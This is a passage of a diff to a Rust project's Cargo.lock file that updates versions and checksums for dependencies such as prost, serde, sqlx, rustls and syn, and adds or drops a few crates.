0.26.4", "once_cell", "parking_lot 0.12.1", "smallvec", @@ -5116,12 +5339,12 @@ dependencies = [ [[package]] name = "prettyplease" -version = "0.2.15" +version = "0.2.16" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ae005bd773ab59b4725093fd7df83fd7892f7d8eafb48dbd7de6e024e4215f9d" +checksum = "a41cf62165e97c7f814d2221421dbb9afcbcdb0a88068e5ea206e19951c2cbb5" dependencies = [ "proc-macro2", - "syn 2.0.39", + "syn 2.0.48", ] [[package]] @@ -5149,11 +5372,11 @@ dependencies = [ [[package]] name = "proc-macro-crate" -version = "2.0.0" +version = "3.1.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7e8366a6159044a37876a2b9817124296703c586a5c92e2c53751fa06d8d43e8" +checksum = "6d37c51ca738a55da99dc0c4a34860fd675453b8b36209178c2249bb13651284" dependencies = [ - "toml_edit 0.20.7", + "toml_edit 0.21.1", ] [[package]] @@ -5182,9 +5405,9 @@ dependencies = [ [[package]] name = "proc-macro2" -version = "1.0.69" +version = "1.0.78" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "134c189feb4956b20f6f547d2cf727d4c0fe06722b20a0eec87ed445a97f92da" +checksum = "e2422ad645d89c99f8f3e6b88a9fdeca7fabeac836b1002371c4367c8f984aae" dependencies = [ "unicode-ident", ] @@ -5221,9 +5444,9 @@ dependencies = [ [[package]] name = "promql-parser" -version = "0.2.0" +version = "0.3.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "49ba47c84c4e66bcde38e8ac608feebddf65636d5fc8ed1763836e05013850f3" +checksum = "a24c16fbf55ea420c6286ef5ee86772062332d9f3b10d24a6edbc2e88840e1ad" dependencies = [ "cfgrammar", "lazy_static", @@ -5244,12 +5467,12 @@ dependencies = [ [[package]] name = "prost" -version = "0.12.2" +version = "0.12.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5a5a410fc7882af66deb8d01d01737353cf3ad6204c408177ba494291a626312" +checksum = "146c289cda302b98a28d40c8b3b90498d6e526dd24ac2ecea73e4e491685b94a" dependencies = [ "bytes", - "prost-derive 0.12.2", + "prost-derive 0.12.3", ] [[package]] @@ -5276,9 +5499,9 @@ dependencies = [ [[package]] name = "prost-build" -version = "0.12.2" +version = "0.12.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1fa3d084c8704911bfefb2771be2f9b6c5c0da7343a71e0021ee3c665cada738" +checksum = "c55e02e35260070b6f716a2423c2ff1c3bb1642ddca6f99e1f26d06268a0e2d2" dependencies = [ "bytes", "heck", @@ -5287,11 +5510,11 @@ dependencies = [ "multimap", "once_cell", "petgraph", - "prettyplease 0.2.15", - "prost 0.12.2", - "prost-types 0.12.2", + "prettyplease 0.2.16", + "prost 0.12.3", + "prost-types 0.12.3", "regex", - "syn 2.0.39", + "syn 2.0.48", "tempfile", "which", ] @@ -5311,15 +5534,15 @@ dependencies = [ [[package]] name = "prost-derive" -version = "0.12.2" +version = "0.12.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "065717a5dfaca4a83d2fe57db3487b311365200000551d7a364e715dbf4346bc" +checksum = "efb6c9a1dd1def8e2124d17e83a20af56f1570d6c2d2bd9e266ccb768df3840e" dependencies = [ "anyhow", "itertools 0.11.0", "proc-macro2", "quote", - "syn 2.0.39", + "syn 2.0.48", ] [[package]] @@ -5333,11 +5556,11 @@ dependencies = [ [[package]] name = "prost-types" -version = "0.12.2" +version = "0.12.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8339f32236f590281e2f6368276441394fcd1b2133b549cc895d0ae80f2f9a52" +checksum = "193898f59edcf43c26227dcd4c8427f00d99d61e95dcde58dabd49fa291d470e" dependencies = [ - "prost 0.12.2", + "prost 0.12.3", ] [[package]] @@ -5428,9 +5651,9 @@ dependencies = [ [[package]] name = "quote" -version = "1.0.33" +version = "1.0.35" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5267fca4496028628a95160fc423a33e8b2e6af8a5302579e322e4b520293cae" +checksum = "291ec9ab5efd934aaf503a6466c5d5251535d108ee747472c3977cc5acc868ef" dependencies = [ "proc-macro2", ] @@ -5494,9 +5717,9 @@ checksum = "f2ff9a1f06a88b01621b7ae906ef0211290d1c8a168a15542486a8f61c0833b9" [[package]] name = "rayon" -version = "1.8.0" +version = "1.8.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9c27db03db7734835b3f53954b534c91069375ce6ccaa2e065441e07d9b6cdb1" +checksum = "fa7237101a77a10773db45d62004a272517633fbcc3df19d96455ede1122e051" dependencies = [ "either", "rayon-core", @@ -5504,9 +5727,9 @@ dependencies = [ [[package]] name = "rayon-core" -version = "1.12.0" +version = "1.12.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5ce3fb6ad83f861aac485e76e1985cd109d9a3713802152be56c3b1f0e0658ed" +checksum = "1465873a3dfdaa8ae7cb14b4383657caab0b3e8a0aa9ae8e04b044854c8dfce2" dependencies = [ "crossbeam-deque", "crossbeam-utils", @@ -5523,15 +5746,6 @@ dependencies = [ [[package]] name = "redox_syscall" -version = "0.3.5" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "567664f262709473930a4bf9e51bf2ebf3348f2e748ccc50dea20646858f8f29" -dependencies = [ - "bitflags 1.3.2", -] - -[[package]] -name = "redox_syscall" version = "0.4.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "4722d768eff46b75989dd134e5c353f0d6296e5aaa3132e776cbdb56be7731aa" @@ -5551,34 +5765,14 @@ dependencies = [ ] [[package]] -name = "ref-cast" -version = "1.0.20" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "acde58d073e9c79da00f2b5b84eed919c8326832648a5b109b3fce1bb1175280" -dependencies = [ - "ref-cast-impl", -] - -[[package]] -name = "ref-cast-impl" -version = "1.0.20" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7f7473c2cfcf90008193dd0e3e16599455cb601a9fce322b5bb55de799664925" -dependencies = [ - "proc-macro2", - "quote", - "syn 2.0.39", -] - -[[package]] name = "regex" -version = "1.10.2" +version = "1.10.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "380b951a9c5e80ddfd6136919eef32310721aa4aacd4889a8d39124b026ab343" +checksum = "b62dbe01f0b06f9d8dc7d49e05a0785f153b00b2c227856282f671e0318c9b15" dependencies = [ "aho-corasick", "memchr", - "regex-automata 0.4.3", + "regex-automata 0.4.5", "regex-syntax 0.8.2", ] @@ -5593,9 +5787,9 @@ dependencies = [ [[package]] name = "regex-automata" -version = "0.4.3" +version = "0.4.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5f804c7828047e88b2d32e2d7fe5a105da8ee3264f01902f796c8e067dc2483f" +checksum = "5bb987efffd3c6d0d8f5f89510bb458559eab11e4f869acb20bf845e016259cd" dependencies = [ "aho-corasick", "memchr", @@ -5622,26 +5816,26 @@ checksum = "c08c74e62047bb2de4ff487b251e4a92e24f48745648451635cec7d591162d9f" [[package]] name = "rend" -version = "0.4.1" +version = "0.4.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a2571463863a6bd50c32f94402933f03457a3fbaf697a707c5be741e459f08fd" +checksum = "71fe3824f5629716b1589be05dacd749f6aa084c87e00e016714a8cdfccc997c" dependencies = [ "bytecheck", ] [[package]] name = "reqwest" -version = "0.11.22" +version = "0.11.24" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "046cd98826c46c2ac8ddecae268eb5c2e58628688a5fc7a2643704a73faba95b" +checksum = "c6920094eb85afde5e4a138be3f2de8bbdf28000f0029e72c45025a56b042251" dependencies = [ - "base64 0.21.5", + "base64 0.21.7", "bytes", "encoding_rs", "futures-core", "futures-util", "h2", - "http", + "http 0.2.11", "http-body", "hyper", "hyper-rustls", @@ -5653,10 +5847,12 @@ dependencies = [ "percent-encoding", "pin-project-lite", "rustls", - "rustls-pemfile", + "rustls-native-certs", + "rustls-pemfile 1.0.4", "serde", "serde_json", "serde_urlencoded", + "sync_wrapper", "system-configuration", "tokio", "tokio-rustls", @@ -5667,7 +5863,7 @@ dependencies = [ "wasm-bindgen-futures", "wasm-streams", "web-sys", - "webpki-roots 0.25.2", + "webpki-roots", "winreg", ] @@ -5688,9 +5884,9 @@ dependencies = [ [[package]] name = "ring" -version = "0.17.5" +version = "0.17.7" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "fb0205304757e5d899b9c2e448b867ffd03ae7f988002e47cd24954391394d0b" +checksum = "688c63d65483050968b2a8937f7995f443e27041a0f7700aa59b0822aedebb74" dependencies = [ "cc", "getrandom", @@ -5702,12 +5898,13 @@ dependencies = [ [[package]] name = "rkyv" -version = "0.7.42" +version = "0.7.44" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0200c8230b013893c0b2d6213d6ec64ed2b9be2e0e016682b7224ff82cff5c58" +checksum = "5cba464629b3394fc4dbc6f940ff8f5b4ff5c7aef40f29166fd4ad12acbc99c0" dependencies = [ "bitvec", "bytecheck", + "bytes", "hashbrown 0.12.3", "ptr_meta", "rend", @@ -5719,9 +5916,9 @@ dependencies = [ [[package]] name = "rkyv_derive" -version = "0.7.42" +version = "0.7.44" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b2e06b915b5c230a17d7a736d1e2e63ee753c256a8614ef3f5147b13a4f5541d" +checksum = "a7dddfff8de25e6f62b9d64e6e432bf1c6736c57d20323e15ee10435fbda7c65" dependencies = [ "proc-macro2", "quote", @@ -5744,16 +5941,10 @@ dependencies = [ ] [[package]] -name = "rs-snowflake" -version = "0.6.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e60ef3b82994702bbe4e134d98aadca4b49ed04440148985678d415c68127666" - -[[package]] name = "rsa" -version = "0.9.3" +version = "0.9.6" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "86ef35bf3e7fe15a53c4ab08a998e42271eab13eb0db224126bc7bc4c4bad96d" +checksum = "5d0e5124fcb30e76a7e79bfee683a2746db83784b86289f6251b54b7950a0dfc" dependencies = [ "const-oid", "digest", @@ -5771,9 +5962,9 @@ dependencies = [ [[package]] name = "rust-embed" -version = "8.0.0" +version = "8.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b1e7d90385b59f0a6bf3d3b757f3ca4ece2048265d70db20a2016043d4509a40" +checksum = "a82c0bbc10308ed323529fd3c1dce8badda635aa319a5ff0e6466f33b8101e3f" dependencies = [ "rust-embed-impl", "rust-embed-utils", @@ -5782,9 +5973,9 @@ dependencies = [ [[package]] name = "rust-embed-for-web" -version = "11.1.4" +version = "11.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "eb0ac27c82044eed85bb65ff80438d9c9a9b7335ccded5ee43d5d90c5e69be75" +checksum = "69f84d0a081592f9a39ab2d4a203423b7c5a5beddea477a23e9a74a8bf4f1956" dependencies = [ "rust-embed-for-web-impl", "rust-embed-for-web-utils", @@ -5793,9 +5984,9 @@ dependencies = [ [[package]] name = "rust-embed-for-web-impl" -version = "11.1.4" +version = "11.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d8550045ff1cf11e67aaa2b651163256461cb6aa4ba1e13957a98ac1472206a3" +checksum = "d4d1c01db6abf4e30579a31246030c5409d58eee37af20e44193f5c5603cd4bb" dependencies = [ "brotli", "flate2", @@ -5803,16 +5994,16 @@ dependencies = [ "proc-macro2", "quote", "rust-embed-for-web-utils", - "shellexpand 3.1.0", - "syn 2.0.39", + "shellexpand", + "syn 2.0.48", "walkdir", ] [[package]] name = "rust-embed-for-web-utils" -version = "11.1.4" +version = "11.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c747ac20c1b87c0a7dee62f2b47ca26a9112b164a66b1c2d2fafae958d8cfd75" +checksum = "7956b3948b20e5a24e3f77e266e9bdd191907fcdf919ea4dfc178dc5c3226d02" dependencies = [ "base85rs", "chrono", @@ -5824,23 +6015,23 @@ dependencies = [ [[package]] name = "rust-embed-impl" -version = "8.0.0" +version = "8.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3c3d8c6fd84090ae348e63a84336b112b5c3918b3bf0493a581f7bd8ee623c29" +checksum = "6227c01b1783cdfee1bcf844eb44594cd16ec71c35305bf1c9fb5aade2735e16" dependencies = [ "proc-macro2", "quote", "rust-embed-utils", - "shellexpand 2.1.2", - "syn 2.0.39", + "shellexpand", + "syn 2.0.48", "walkdir", ] [[package]] name = "rust-embed-utils" -version = "8.0.0" +version = "8.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "873feff8cb7bf86fdf0a71bb21c95159f4e4a37dd7a4bd1855a940909b583ada" +checksum = "8cb0a25bfbb2d4b4402179c2cf030387d9990857ce08a32592c6238db9fa8665" dependencies = [ "sha2", "walkdir", @@ -5848,9 +6039,9 @@ dependencies = [ [[package]] name = "rust_decimal" -version = "1.33.0" +version = "1.34.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "076ba1058b036d3ca8bcafb1d54d0b0572e99d7ecd3e4222723e18ca8e9ca9a8" +checksum = "755392e1a2f77afd95580d3f0d0e94ac83eeeb7167552c9b5bca549e61a94d83" dependencies = [ "arrayvec", "borsh", @@ -5893,25 +6084,25 @@ dependencies = [ [[package]] name = "rustix" -version = "0.38.24" +version = "0.38.31" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9ad981d6c340a49cdc40a1028d9c6084ec7e9fa33fcb839cab656a267071e234" +checksum = "6ea3e1a662af26cd7a3ba09c0297a31af215563ecf42817c98df621387f4e949" dependencies = [ - "bitflags 2.4.1", + "bitflags 2.4.2", "errno", "libc", - "linux-raw-sys 0.4.11", - "windows-sys 0.48.0", + "linux-raw-sys 0.4.13", + "windows-sys 0.52.0", ] [[package]] name = "rustls" -version = "0.21.8" +version = "0.21.10" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "446e14c5cda4f3f30fe71863c34ec70f5ac79d6087097ad0bb433e1be5edf04c" +checksum = "f9d5a6813c0759e4609cd494e8e725babae6a2ca7b62a5536a13daaec6fcb7ba" dependencies = [ "log", - "ring 0.17.5", + "ring 0.17.7", "rustls-webpki", "sct", ] @@ -5923,7 +6114,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "a9aace74cb666635c918e9c12bc0d348266037aa8eb599b5cba565709a8dff00" dependencies = [ "openssl-probe", - "rustls-pemfile", + "rustls-pemfile 1.0.4", "schannel", "security-framework", ] @@ -5934,16 +6125,32 @@ version = "1.0.4" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "1c74cae0a4cf6ccbbf5f359f08efdf8ee7e1dc532573bf0db71968cb56b1448c" dependencies = [ - "base64 0.21.5", + "base64 0.21.7", ] [[package]] +name = "rustls-pemfile" +version = "2.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "35e4980fa29e4c4b212ffb3db068a564cbf560e51d3944b7c88bd8bf5bec64f4" +dependencies = [ + "base64 0.21.7", + "rustls-pki-types", +] + +[[package]] +name = "rustls-pki-types" +version = "1.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0a716eb65e3158e90e17cd93d855216e27bde02745ab842f2cab4a39dba1bacf" + +[[package]] name = "rustls-webpki" version = "0.101.7" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "8b6275d1ee7a1cd780b64aca7726599a1dbc893b1e64144529e55c3c2f745765" dependencies = [ - "ring 0.17.5", + "ring 0.17.7", "untrusted 0.9.0", ] @@ -5959,13 +6166,13 @@ version = "12.0.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "994eca4bca05c87e86e15d90fc7a91d1be64b4482b38cb2d27474568fe7c9db9" dependencies = [ - "bitflags 2.4.1", + "bitflags 2.4.2", "cfg-if 1.0.0", "clipboard-win", "libc", "log", "memchr", - "nix", + "nix 0.26.4", "scopeguard", "unicode-segmentation", "unicode-width", @@ -5975,9 +6182,9 @@ dependencies = [ [[package]] name = "ryu" -version = "1.0.15" +version = "1.0.16" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1ad4cc8da4ef723ed60bced201181d83791ad433213d8c24efffda1eec85d741" +checksum = "f98d2aa92eebf49b69786be48e4477826b256916e84a57ff2a4f21923b48eb4c" [[package]] name = "salsa20" @@ -5999,11 +6206,11 @@ dependencies = [ [[package]] name = "schannel" -version = "0.1.22" +version = "0.1.23" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0c3733bf4cf7ea0880754e19cb5a462007c4a8c1914bff372ccc95b464f1df88" +checksum = "fbc91545643bcf3a0bbb6569265615222618bdf33ce4ffbbd13c4bbd4c093534" dependencies = [ - "windows-sys 0.48.0", + "windows-sys 0.52.0", ] [[package]] @@ -6018,7 +6225,7 @@ version = "0.7.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "da046153aa2352493d6cb7da4b6e5c0c057d8a1d0a9aa8560baffdd945acd414" dependencies = [ - "ring 0.17.5", + "ring 0.17.7", "untrusted 0.9.0", ] @@ -6067,9 +6274,9 @@ dependencies = [ [[package]] name = "semver" -version = "1.0.20" +version = "1.0.21" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "836fa6a3e1e547f9a2c4040802ec865b5d85f4014efe00555d7090a3dcaa1090" +checksum = "b97ed7a9823b74f99c7742f5336af7be5ecd3eeafcb1507d1fa93347b1d589b0" [[package]] name = "seq-macro" @@ -6079,29 +6286,29 @@ checksum = "a3f0bf26fd526d2a95683cd0f87bf103b8539e2ca1ef48ce002d67aad59aa0b4" [[package]] name = "serde" -version = "1.0.192" +version = "1.0.196" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "bca2a08484b285dcb282d0f67b26cadc0df8b19f8c12502c13d966bf9482f001" +checksum = "870026e60fa08c69f064aa766c10f10b1d62db9ccd4d0abb206472bee0ce3b32" dependencies = [ "serde_derive", ] [[package]] name = "serde_derive" -version = "1.0.192" +version = "1.0.196" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d6c7207fbec9faa48073f3e3074cbe553af6ea512d7c21ba46e434e70ea9fbc1" +checksum = "33c85360c95e7d137454dc81d9a4ed2b8efd8fbe19cee57357b32b9771fccb67" dependencies = [ "proc-macro2", "quote", - "syn 2.0.39", + "syn 2.0.48", ] [[package]] name = "serde_html_form" -version = "0.2.2" +version = "0.2.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "cde65b75f2603066b78d6fa239b2c07b43e06ead09435f60554d3912962b4a3c" +checksum = "20e1066e1cfa6692a722cf40386a2caec36da5ddc4a2c16df592f0f609677e8c" dependencies = [ "form_urlencoded", "indexmap 2.1.0", @@ -6112,9 +6319,9 @@ dependencies = [ [[package]] name = "serde_json" -version = "1.0.108" +version = "1.0.113" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3d1c7e3eac408d115102c4c24ad393e0821bb3a5df4d506a80f85f7a742a526b" +checksum = "69801b70b1c3dac963ecb03a364ba0ceda9cf60c71cfe475e99864759c8b8a79" dependencies = [ "itoa", "ryu", @@ -6189,9 +6396,9 @@ dependencies = [ [[package]] name = "sha256" -version = "1.4.0" +version = "1.5.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7895c8ae88588ccead14ff438b939b0c569cd619116f14b4d13fdff7b8333386" +checksum = "18278f6a914fa3070aa316493f7d2ddfb9ac86ebc06fa3b83bffda487e9065b0" dependencies = [ "async-trait", "bytes", @@ -6221,20 +6428,11 @@ dependencies = [ [[package]] name = "shellexpand" -version = "2.1.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7ccc8076840c4da029af4f87e4e8daeb0fca6b87bbb02e10cb60b791450e11e4" -dependencies = [ - "dirs 4.0.0", -] - -[[package]] -name = "shellexpand" version = "3.1.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "da03fa3b94cc19e3ebfc88c4229c49d8f08cdbd1228870a45f0ffdf84988e14b" dependencies = [ - "dirs 5.0.1", + "dirs", ] [[package]] @@ -6257,28 +6455,24 @@ dependencies = [ ] [[package]] -name = "simd-json" -version = "0.13.4" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e5a3720326b20bf5b95b72dbbd133caae7e0dcf71eae8f6e6656e71a7e5c9aaa" -dependencies = [ - "getrandom", - "halfbrown", - "lexical-core", - "ref-cast", - "serde", - "serde_json", - "simdutf8", - "value-trait", -] - -[[package]] name = "simdutf8" version = "0.1.4" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "f27f6278552951f1f2b8cf9da965d10969b2efdea95a6ec47987ab46edfe263a" [[package]] +name = "simple_asn1" +version = "0.6.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "adc4e5204eb1910f40f9cfa375f6f05b68c3abac4b6fd879c8ff5e7ae8a0a085" +dependencies = [ + "num-bigint", + "num-traits", + "thiserror", + "time", +] + +[[package]] name = "siphasher" version = "0.3.11" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -6311,9 +6505,9 @@ dependencies = [ [[package]] name = "smallvec" -version = "1.11.2" +version = "1.13.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4dccd0940a2dcdf68d092b8cbab7dc0ad8fa938bf95787e1b916b0e3d0e8e970" +checksum = "e6ecd384b10a64542d77071bd64bd7b231f4ed5940fba55e98c3de13824cf3d7" [[package]] name = "snafu" @@ -6360,19 +6554,9 @@ dependencies = [ [[package]] name = "snap" -version = "1.1.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5e9f0ab6ef7eb7353d9119c170a436d1bf248eea575ac42d19d12f4e34130831" - -[[package]] -name = "socket2" -version = "0.4.10" +version = "1.1.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9f7916fc008ca5542385b89a3d3ce689953c143e9304a9bf8beec1de48994c0d" -dependencies = [ - "libc", - "winapi 0.3.9", -] +checksum = "1b6b67fb9a61334225b5b790716f609cd58395f895b3fe8b328786812a40bc3b" [[package]] name = "socket2" @@ -6413,9 +6597,9 @@ dependencies = [ [[package]] name = "spki" -version = "0.7.2" +version = "0.7.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9d1e996ef02c474957d681f1b05213dfb0abab947b446a62d37770b23500184a" +checksum = "d91ed6c858b01f942cd56b37a94b3e0a1798290327d1236e4d9cf4eaca44d29d" dependencies = [ "base64ct", "der", @@ -6423,20 +6607,20 @@ dependencies = [ [[package]] name = "sqlformat" -version = "0.2.2" +version = "0.2.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6b7b278788e7be4d0d29c0f39497a0eef3fba6bbc8e70d8bf7fde46edeaa9e85" +checksum = "ce81b7bd7c4493975347ef60d8c7e8b742d4694f4c49f93e0a12ea263938176c" dependencies = [ - "itertools 0.11.0", + "itertools 0.12.1", "nom", "unicode_categories", ] [[package]] name = "sqlparser" -version = "0.39.0" +version = "0.41.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "743b4dc2cbde11890ccb254a8fc9d537fa41b36da00de2a1c5e9848c9bc42bd7" +checksum = "5cc2c25a6c66789625ef164b4c7d2e548d627902280c13710d33da8222169964" dependencies = [ "log", "serde", @@ -6445,20 +6629,20 @@ dependencies = [ [[package]] name = "sqlparser_derive" -version = "0.1.1" +version = "0.2.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "55fe75cb4a364c7f7ae06c7dbbc8d84bddd85d6cdf9975963c3935bc1991761e" +checksum = "01b2e185515564f15375f593fb966b5718bc624ba77fe49fa4616ad619690554" dependencies = [ "proc-macro2", "quote", - "syn 1.0.109", + "syn 2.0.48", ] [[package]] name = "sqlx" -version = "0.7.2" +version = "0.7.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0e50c216e3624ec8e7ecd14c6a6a6370aad6ee5d8cfc3ab30b5162eeeef2ed33" +checksum = "dba03c279da73694ef99763320dea58b51095dfe87d001b1d4b5fe78ba8763cf" dependencies = [ "sqlx-core", "sqlx-macros", @@ -6469,11 +6653,11 @@ dependencies = [ [[package]] name = "sqlx-core" -version = "0.7.2" +version = "0.7.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8d6753e460c998bbd4cd8c6f0ed9a64346fcca0723d6e75e52fdc351c5d2169d" +checksum = "d84b0a3c3739e220d94b3239fd69fb1f74bc36e16643423bd99de3b43c21bfbd" dependencies = [ - "ahash 0.8.6", + "ahash 0.8.7", "atoi", "byteorder", "bytes", @@ -6497,7 +6681,7 @@ dependencies = [ "paste", "percent-encoding", "rustls", - "rustls-pemfile", + "rustls-pemfile 1.0.4", "serde", "serde_json", "sha2", @@ -6508,14 +6692,14 @@ dependencies = [ "tokio-stream", "tracing", "url", - "webpki-roots 0.24.0", + "webpki-roots", ] [[package]] name = "sqlx-macros" -version = "0.7.2" +version = "0.7.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9a793bb3ba331ec8359c1853bd39eed32cdd7baaf22c35ccf5c92a7e8d1189ec" +checksum = "89961c00dc4d7dffb7aee214964b065072bff69e36ddb9e2c107541f75e4f2a5" dependencies = [ "proc-macro2", "quote", @@ -6526,10 +6710,11 @@ dependencies = [ [[package]] name = "sqlx-macros-core" -version = "0.7.2" +version = "0.7.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0a4ee1e104e00dedb6aa5ffdd1343107b0a4702e862a84320ee7cc74782d96fc" +checksum = "d0bd4519486723648186a08785143599760f7cc81c52334a55d6a83ea1e20841" dependencies = [ + "atomic-write-file", "dotenvy", "either", "heck", @@ -6552,13 +6737,13 @@ dependencies = [ [[package]] name = "sqlx-mysql" -version = "0.7.2" +version = "0.7.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "864b869fdf56263f4c95c45483191ea0af340f9f3e3e7b4d57a61c7c87a970db" +checksum = "e37195395df71fd068f6e2082247891bc11e3289624bbc776a0cdfa1ca7f1ea4" dependencies = [ "atoi", - "base64 0.21.5", - "bitflags 2.4.1", + "base64 0.21.7", + "bitflags 2.4.2", "byteorder", "bytes", "chrono", @@ -6595,13 +6780,13 @@ dependencies = [ [[package]] name = "sqlx-postgres" -version = "0.7.2" +version = "0.7.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "eb7ae0e6a97fb3ba33b23ac2671a5ce6e3cabe003f451abd5a56e7951d975624" +checksum = "d6ac0ac3b7ccd10cc96c7ab29791a7dd236bd94021f31eec7ba3d46a74aa1c24" dependencies = [ "atoi", - "base64 0.21.5", - "bitflags 2.4.1", + "base64 0.21.7", + "bitflags 2.4.2", "byteorder", "chrono", "crc", @@ -6635,9 +6820,9 @@ dependencies = [ [[package]] name = "sqlx-sqlite" -version = "0.7.2" +version = "0.7.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d59dc83cf45d89c555a577694534fcd1b55c545a816c816ce51f20bbe56a4f3f" +checksum = "210976b7d948c7ba9fced8ca835b11cbb2d677c59c79de41ac0d397e14547490" dependencies = [ "atoi", "chrono", @@ -6654,6 +6839,7 @@ dependencies = [ "sqlx-core", "tracing", "url", + "urlencoding", ] [[package]] @@ -6714,6 +6900,12 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "73473c0e59e6d5812c5dfe2a064a6444949f089e20eec9a2e5506596494e4623" [[package]] +name = "strsim" +version = "0.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5ee073c9e4cd00e28217186dbe12796d692868f432bf2e97ee73bed0c56dfa01" + +[[package]] name = "strum" version = "0.25.0" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -6732,7 +6924,7 @@ dependencies = [ "proc-macro2", "quote", "rustversion", - "syn 2.0.39", + "syn 2.0.48", ] [[package]] @@ -6742,10 +6934,23 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "81cdd64d312baedb58e21336b31bc043b77e01cc99033ce76ef539f78e965ebc" [[package]] +name = "svix-ksuid" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "66f014385b7fc154f59e9480770c2187b6e61037c2439895788a9a4d421d7859" +dependencies = [ + "base-encode", + "byteorder", + "getrandom", + "serde", + "time", +] + +[[package]] name = "symbolic-common" -version = "12.6.0" +version = "12.8.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "405af7bd5edd866cef462e22ef73f11cf9bf506c9d62824fef8364eb69d4d4ad" +checksum = "1cccfffbc6bb3bb2d3a26cd2077f4d055f6808d266f9d4d158797a4c60510dfe" dependencies = [ "debugid", "memmap2", @@ -6755,9 +6960,9 @@ dependencies = [ [[package]] name = "symbolic-demangle" -version = "12.6.0" +version = "12.8.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2bcd041ccfb77d9c70639efcd5b804b508ac7a273e9224d227379e225625daf9" +checksum = "76a99812da4020a67e76c4eb41f08c87364c14170495ff780f30dd519c221a68" dependencies = [ "cpp_demangle", "rustc-demangle", @@ -6777,9 +6982,9 @@ dependencies = [ [[package]] name = "syn" -version = "2.0.39" +version = "2.0.48" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "23e78b90f2fcf45d3e842032ce32e3f2d1545ba6636271dcbf24fa306d87be7a" +checksum = "0f3531638e407dfc0814761abb7c00a5b54992b849452a0646b7f65c9f770f3f" dependencies = [ "proc-macro2", "quote", @@ -6795,7 +7000,7 @@ dependencies = [ "proc-macro-error", "proc-macro2", "quote", - "syn 2.0.39", + "syn 2.0.48", ] [[package]] @@ -6806,9 +7011,9 @@ checksum = "2047c6ded9c721764247e62cd3b03c09ffc529b2ba5b10ec482ae507a4a70160" [[package]] name = "sysinfo" -version = 